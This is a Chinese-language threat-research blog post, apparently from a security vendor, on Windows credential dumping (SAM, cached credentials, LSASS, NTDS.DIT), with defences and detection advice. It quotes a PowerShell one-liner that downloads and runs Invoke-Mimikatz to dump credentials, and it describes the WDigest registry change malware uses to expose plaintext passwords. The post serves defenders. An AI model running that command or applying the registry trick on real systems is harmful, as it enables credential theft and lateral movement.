【威胁研究】浅谈攻击与防御之 (Windows) 操作系统_北京源点思博科技有限公司 

【威胁研究】浅谈攻击与防御之 (Windows) 操作系统

2020-09-15 10:52| 发布者: | 查看: |

【威胁研究】浅谈攻击与防御之 (Windows) 操作系统凭据转储

这是“浅谈攻击与防御”系列文章的第三部分。在该系列文章中,我们着重介绍了恶意攻击者为实施网络网络攻击而采用的多种不同策略和技术,以及组织可如何进行检测并最终阻止它们。如果您错过了该系列文章的前两部分,可以在文末查看相关链接阅读:《浅谈攻击与防御之 PowerShell》《浅谈攻击与防御之绕过 UAC》

引言

在这篇文章中,我们将带大家进一步了解 Windows 凭据。具体而言,我们将重点介绍一项被称作操作系统凭据转储 (OS Credential Dumping)的技术。从本质上来说,如果威胁正在您的环境中横向移动,则说明攻击者很可能已经执行了某种类型的凭据转储,这才使得它们能够在系统之间转移。因此,确保您能够检测并防御这项技术至关重要。
 
如果您熟悉 MITER ATT&CK 创新框架,您可能会说:“我想它应该叫作凭据转储吧?”确实如此。但是随着归入该类别的技术不断增加,MITRE 决定将整个知识库拆分为多项子技术。这一独特技术仍可以在“凭据访问”下找到,但现在包含八项子技术。在本文中,我不会对所有这些技术都进行介绍,而是只重点介绍与 Windows 相关的三种技术。
Windows 凭据

Windows 操作系统在许多不同的位置上存储或缓存凭据。下面是它存储的一些 Windows 凭据类型,以及可以找到这些凭据的位置:
 
  • 安全帐户管理器 (SAM) 数据库

    SAM 数据库是所有 Windows 系统上都有的文件。该文件包含创建的所有帐户,以及能在 Windows 操作系统(XP、Vista、Win7、8.1 和 10)上找得到的所有内置帐户。在这里,密码以哈希形式存储。(NT 密码哈希)

     

  • 其它文件 

    您也可以在其他各种文件中找到密码,包括配置文件和用户创建的文件(通常为纯文本)。某些日志文件可能包含凭据信息,例如安装日志,有时还可以在宕机报告中找到它们。 

     

  • 缓存的凭据 

    域凭据缓存在注册表中,允许用户在未连接到域的情况下登录系统。Windows 系统缓存会最后 10 个登录密码哈希值,有些默认存储多达 25 个。该数值可以在注册表中进行配置。 

     

  • 本地安全授权机构机密 (LSA) 

    LSA 机密存储在注册表中,允许以用户权限运行服务。这包括 VPN、计划任务、自动登录、备份服务帐户、IIS 网站等。它们以加密形式包含在“安全性/策略/机密”注册表中。 

     

  • 本地安全授权机构子系统服务进程 (LSASS) 

    在本地或域中登录 Windows 计算机时,凭据将存储在内存中的 LSASS 进程内。这主要用于允许用户访问他们有权访问的其他网络资源,而无需重新进行身份验证。存储格式可以是纯文本(可逆加密)、NT 和 LM 哈希以及 Kerberos 票证。 

     

  • 凭据存储管理器 

    该管理器在 Windows 7 及更高版本中提供。它本质上就是一个数字存储库,支持用户安全地存储用户凭据。所有凭据都存储在 Windows 系统上的一个特定文件夹中。Windows 和 Web 凭据都可以存储在此处。 

     

  • 活动目录域数据库 (NTDS.DIT)

    位于活动目录域环境中每个活动目录域控制器服务器上的用户和计算机的所有凭据都存储在该数据库中。(%SystemRoot%\NTDS 文件夹) 

    操作系统凭据转储攻击与防御

    如您所见,Windows 操作系统将凭据以各种格式存储在各种位置,这为旨在入侵凭据的攻击者提供了多种途径。
     
    正如我之前提到的,在支持攻击者在环境中横向移动一系列专用技术中,凭据转储攻击通常是首选技术。获得正确的访问权限后,他们将研究如何将恶意有效负载复制到系统中,然后再设法远程执行该有效负载。随后,他们会在整个环境中不断重复这一步骤。有时这需要手动操作,但通常会自动进行。
     
    之所以提及这一点,是想提醒您,如果碰到我们在本文中讨论的任何凭据转储技术,或许很有必要查找有关后面两个横向移动步骤的其他证据。
     
    举例来说,可以查看日志,检查是否存在 Psexec.exe 和 Psexesvc.exe 被用于远程复制和执行恶意软件的迹象。Psexec是什么?它是一种 Microsoft Sysinternals工具,用于在其他系统上复制和执行进程/文件,对远程管理大有帮助。攻击者还会利用该工具,通过 SMB 恶意软件将其复制到远程系统并执行。我特别列出 psexecsvc.exe 文件的原因在于,当 psexec.exe 运行时,它会将 psexecsvc.exe 文件复制到远程系统中,然后将其作为服务启动。与它相关的内容我就讲这些,您只需在检测该活动时特别注意发送方机器具有 psexec.exe 构件,而接收文件和执行的远程机器具有 psexecsvc.exe 服务构件的情况。 
     

     

    如欲了解有关横向运动三大步骤的更多信息,请查看 2018 年Thrip ATP 攻击更新博客(https://www.fortinet.com/blog/threat-research/thrip-atp-attack-update)。现在,让我们再回到凭据转储技术上来。 
根据Mitre ATT&CK 知识库,共有八种不同的操作系统凭据转储技术。但由于篇幅所限,我们将只讨论与 Windows 相关的三种技术。
 

缓存的域凭据

如前所述,Windows 操作系统在配置为登录到活动目录 (AD) 域时,系统(取决于操作系统版本)最多可以存储最后 25 个登录凭据(默认设置),因此在无法连接到 AD 域时您仍可以登录。值得注意的是,这些缓存凭据在重启后不会消失。这些凭据会持久存在,因为它们以 Mscach2 格式存储在注册表 (HKLM\Security hive) 中。 
 
您可以使用许多免费工具从注册表中提取缓存的凭据,例如cachedump、Metasploit、PWDumpx和creddump。如果攻击者成功转储了缓存的凭据,他们仍将需要使用密码破解工具(例如预先计算的彩虹表或John the Ripper)对哈希值进行暴力破解,才能获得真正的密码,这也是登录到另一个系统所必需的。最后,如要提取缓存的域凭据,攻击者还需要具有 SYSTEM 权限。
 
LSASS 内存
由于 Windows NT/LM 和 Kerberos 票证等哈希凭据存储在内存中,具体存储在 LSASS 进程中,因此具有适当访问权限(管理员)的攻击者会使用各种免费工具来转储哈希值。这些工具包括Mimikatz和 Windows 凭据编辑器。 
 
也有可能在内存中找到TsPkg、WDigest和LiveSSP。可以很轻松地对它们进行解密,从而获得纯文本密码。
 
与缓存的域凭据不同,一旦用户注销,内存中的哈希值将不复存在。在某些情况下,由于应用或进程仍在使用哈希值,因此用户注销后哈希值仍然可用。但是在大多数情况下,攻击者必须登录才能窃取其凭据。这也是您不应该以管理员(尤其是域管理员)身份登录的另一个原因。如果在域管理员登录时遭到攻击,则攻击者最终将获得指向整个域的密钥。 
 
此外,这些转储的哈希值可以用于登录另一个系统的身份验证,无需破解即可获得纯文本密码。该技术被称为“哈希传递”。这类攻击仅适用于 NTLM 身份验证,但是许多现代化系统都提供 NTLM 身份验证。我们将在后文的视频中演示如何复现“哈希传递”技术。

NTDS

当攻击者在环境中建立初始立足点时,他们通常会寻找具有域控制器 (DC) 角色的服务器。这是因为每个 DC 上的 NTDS.DIT 文件中都包含所有用户和计算机帐户的哈希值。如果他们掌握了这些信息,就可以自由控制 AD 域内的所有资源。 
 
数据库中包含的哈希值均为 NT 格式,但也可能是 LM 格式,具体取决于所使用系统的版本。此外,NTDS.DIT 文件还提供密码历史记录。 
 
如要进行访问,攻击者需要域访问权限。这也意味着如果他们成功获取了这一权限,就说明您已经暴露在风险之中了。这种凭据提取较为困难,因为文件已在使用中,被锁定了。对此,攻击者将需要获取对磁盘本身的原始访问权限,这可以通过驱动程序来完成。另外,攻击者还可以通过卷影副本做到。 
 
由于勒索软件近来非常流行,您可能已经听说了不少关于攻击者删除卷影副本的报道。FortiGuard Labs 曾发表了一篇名为《Stomping Shadow Copies》(https://www.fortinet.com/blog/threat-research/stomping-shadow-copies-a-second-look-into-deletion-methods)的深度好文,讨论了几种不同的实现方法。但是在这种情况下,攻击者会提取“卷影副本”,或者如果发现没有,则会创建一个。对攻击者来说,另一个小障碍是,他们还需要收集 SAM 和 SYSTEM 注册表,以解密 NTDS 数据库中包含的信息。
 
虽然我在这里只讨论了三种技术策略,但您可以想象,基于在 Windows 中存储凭据的各种不同位置,攻击者可能还有更多窃取凭据的方法。

操作系统凭据转储的防御措施

除了使用一些出色的厂商工具外,您还可以通过进行一些配置,增强对上述攻击的防御。
 
  • 限制管理员访问权限

    其中许多技术都需要管理员或域管理员权限才能执行。确保每个人都以普通用户身份登录,这将有助于抵御这些攻击。

     

  • 使用唯一的本地管理员帐户密码

    如果您在所有工作站上都使用相同的本地管理员帐户密码,那么攻击者只需攻破其中一个本地帐户,就能获得对其他帐户的访问权限。对此,可以使用唯一的本地管理员密码进行限制,使攻击者难以横向移动。为此,可以尝试使用 Microsoft 本地管理员密码解决方案 (LAPS)。这是一个密码管理器,它利用活动目录来管理和轮换工作站的本地管理员帐户密码。

     

  • 避免将高权限帐户用于远程交互式会话

    当您以交互方式登录 Windows 设备(控制台登录、RDP 或 runas)时,哈希值将会出现在内存中,特别是在服务器上。因此,要尽量避免这种情况。

     

  • 使用 Credential Guard

    这是 Windows 10 新推出的一项功能,它可通过虚拟化隔离 LSASS 进程。该功能主要在一个虚拟容器中运行,该容器创建了一个名为 LSAIso 的代理,以支持与隔离的 LSASS 进程进行通信。值得注意的是,即使拥有管理员权限,您也无法使用此防护功能来转储凭据。这可能是针对操作系统凭据转储的最有力防御措施。

     

  • 限制缓存登录帐户的数量

    对于缓存账户,您可以在注册表中设置登录次数限制。虽然这不是一个完美的解决方案,但确实有帮助。

     

  • 实施严格的密码策略(长度和复杂性)

    如果凭据被盗并且需要离线解密,那么密码越长越复杂,破解它们所花费的时间就越长。

 

请注意,上述所有防御措施(包括 Credential Guard)都能被绕过,但应用这些措施肯定能加大攻击者的攻击难度。
 

实际案例和检测
当今的攻击者越来越多地利用上述技术来窃取操作系统凭据。由于用以窃取操作系统密码的开源工具数不胜数,因此许多攻击者都不会自己创建工具,而是使用现成的开源版本。现在我们来举第一个例子(见下),示例内容来自FortiGuard Labs 于 2008 年发布的一篇博文,标题为《新型 Trickbot 插件从 SQL 服务器获取电子邮件地址,ScreenLocker 模块被用于非勒索目的》(https://www.fortinet.com/blog/threat-research/new-trickbot-plugin-harvests-email-addresses-from-sql-servers-screenlocker-module-not-for-ransom)。Trickbot威胁正在使用Mimikatz(一种开源工具)从内存中的 LSASS 进程提取密码。具体来说,它试图窃取纯文本形式的WDigest凭据。
 
 
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential.
 
如果将注册表值设置为“0”,则可以禁用内存中的凭据。如果将其设置为“1”,则某些服务将需要进行WDigest身份验证。为了解决这个问题,该恶意软件只需确保将注册表设置为“1”,从而启用WDigest身份验证即可。

尽管此活动很容易执行,但该设置要等到用户再次登录后才能生效。对此,攻击者的解决办法是锁定屏幕并强制用户再次提供凭据。由于注册表值现在已被设置为启用WDigest身份验证,因此凭据会存储在内存中,并支持随时使用Mimikatz工具进行提取。

'
在另一个示例中,攻击者有时会使用包含各种开源模块的漏洞利用后(post-exploitation )框架工具,例如 PowerShell Empire。虽然厂商不再为此开源项目提供支持,但它仍可以使用。FortiResponder团队以前曾看到过这种方式,调用Mimikatz的 PowerShell 脚本可能如下所示:
 
PS C:\Windows\system32> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/E
mpire/7a39a55f127b1aeb951b3d9d80c6dc64500cacb5/data/module_source/credentials/Invoke-Mimikatz.ps1"); $m = Invoke-Mimikatz -DumpCreds; $m
 
可以看到,它从GitHub发起,执行 PowerShell 脚本以运行Mimikatz。我们的FortiEDR技术通常会阻止此可疑进程与目的地进行通信。 

由于许多开源工具被恶意软件广泛使用,因此确保识别出这些免费工具并加以阻止也很有帮助。借助FortiEDR,我们可以在执行前后对这些工具进行阻止,包括Mimikatz,如下所示。


像往常一样,我们的FortiSIEM客户还可以利用许多预定义的规则来检测操作系统凭据转储,包括使用高级 Windows 代理的 LSASS 进程篡改技术,以及检测卷影副本的可疑活动,这有助于发现从NTDS.dit文件中窃取凭据的尝试。下方为 LSASS 规则和检测日志示例,以及所用的Mitre ATT&CK 策略及相应技术的概述图。这种技术链配合非常有帮助。



我们继续来探讨有关检测和在恶意软件中使用嵌入式开放源代码工具的问题,如果您正在调查疑似使用操作系统凭据转储的事件,则需要在 Windows 事件查看器中检查以下项目。
 

查找创建的新进程–事件 ID 4688

  • 在此事件记录中,查找可以被使用的各种开源工具,包括Mimikatz、PWdumpX、Creddump、Windows凭据编辑器 (WCE)、Cachedump、Metasploit、NTDSXtract、Ntdsdump和Vssown。

  • 有很多资源列出了用于凭据转储的工具,例如:https://pentestlab.blog/tag/vssown/

 

检查 LSASS 进程

  • 检查此进程,以发现可能表明试图从内存中窃取凭据的任何篡改行为。

 

查看Vssadmin的使用情况

  • 由于 Vssadmin 可用于管理卷影副本,因此需要检查该可执行文件的任何活动。例如,攻击者可能会创建卷影副本,以安装 NTDS.DIT文件。
     

    技术复现

    由于可用于窃取操作系统凭据的技术和工具有很多,因此尝试模拟操作系统凭据转储技术可能需要花一些时间。我们都知道,可以根据工具的名称进行检测,但这些名称很容易发生更改,因此要更关注这些工具产生的活动。我们要找到本质上更静态的那些活动。下面是一些可用于技术复现的模拟和开源工具。
    模拟工具
    Atomic Red Team一直是一款不错的Mitre ATT&CK 测试工具。下图为 Atomic 测试列表。

    开源防御测试工具

    有很多可以用来测试操作系统凭据转储防御的开源工具。我在上文列出了一些,现在再将它们列出一次:
     
    - Metasploit
    - Mimikatz
    - Fgdump
    - Gsecdump
    - PWDumpX
    - Creddump
    - WCE
    - Cachedump
    - NTDSXtract
    - Ntdsdump
    - VssOwn.vbs
     

     

    为便于大家理解,我录制了下面两个视频。第一个视频展示了如何使用一个名为hashdump的(传统)简单工具。它是Metasploit中meterpreter的一部分,因此您需要先创建meterpreter会话并获得系统权限,才能在测试设备上建立立足点。该工具将从 SAM 数据库中转储信息,例如凭据哈希。第二个视频展示了如何在环境中寻找其他可用系统,以及如何借助哈希传递技术利用窃取的凭据横向移动到其他系统。 
结语
 
在本文中,我们重点介绍了攻击者可以用来窃取操作系统凭据的一些技术。正如我多次提到的,必须注意获取正确的凭据是攻击者在环境中横向移动的关键第一步。因此,您首先要对安全控制措施进行测试,以确保可以防止或检测到这些可能导致攻击扩散的技术。同时,当前使用的恶意软件还嵌入到了许多开放源代码工具中,因此也请熟悉这些工具,以及时发现恶意软件可能留下的数字痕迹。  
 
正如在上篇文章的结尾中所说的,在测试每种操作系统凭据转储技术的过程中,您不仅要了解技术,而且还要能够模拟该技术,这一点很重要。其次,您还要对安全控制措施进行监视,评估是否存在任何缺口,然后记录并执行所需的改进。
 
在本文中,我们重点介绍了攻击者可以用来窃取操作系统凭据的一些技术。正如我多次提到的,必须注意获取正确的凭据是攻击者在环境中横向移动的关键第一步。因此,您首先要对安全控制措施进行测试,以确保可以防止或检测到这些可能导致攻击扩散的技术。同时,当前使用的恶意软件还嵌入到了许多开放源代码工具中,因此也请熟悉这些工具,以及时发现恶意软件可能留下的数字痕迹。  
 
正如在上篇文章的结尾中所说的,在测试每种操作系统凭据转储技术的过程中,您不仅要了解技术,而且还要能够模拟该技术,这一点很重要。其次,您还要对安全控制措施进行监视,评估是否存在任何缺口,然后记录并执行所需的改进。
<
>

 
QQ在线咨询
售前咨询热线
010-82095611
售后服务热线
010-82095611
返回顶部